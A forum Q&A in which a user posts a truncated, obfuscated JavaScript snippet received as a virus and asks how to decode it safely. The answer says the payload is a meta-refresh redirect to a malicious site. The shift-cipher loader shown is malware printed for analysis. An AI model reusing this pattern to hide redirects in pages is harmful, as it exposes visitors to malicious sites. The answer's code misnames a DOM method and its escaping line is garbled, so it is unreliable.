Was just sent a JS virus. How do I safely display the output?

Question

I just received a virus that looks something like this

<script type='text/javascript'>
<!--
var s="=nfub!iuuq.frvjw>#sfgsfti#!------REST OF PAYLOAD REMOVED-----?";
m=""; 
for (i=0; i<s.length; i++) 
{   
if(s.charCodeAt(i) == 28)
{     
m+= '&';
}
 else if 
(s.charCodeAt(i) == 23) 
{     m+= '!';} 
else 
{     
 m+=String.fromCharCode(s.charCodeAt(i)-1); 
}}
document.write(m);//-->
</script>

I'm not a JS expert but I would like to decrypt the contents of that string. Can you tell me the best way to alter document.write to see what it's doing?

Answer 1

Just create a <textarea id="foo"></textarea>, and write

document.getElementsById('foo').value = m;

Alternatively, you could encode < and & to < and & and keep the document.write.

FYI, the payload starts with

<meta http-equiv="refresh" 

so looks like it just redirects the user into the a malicious site.
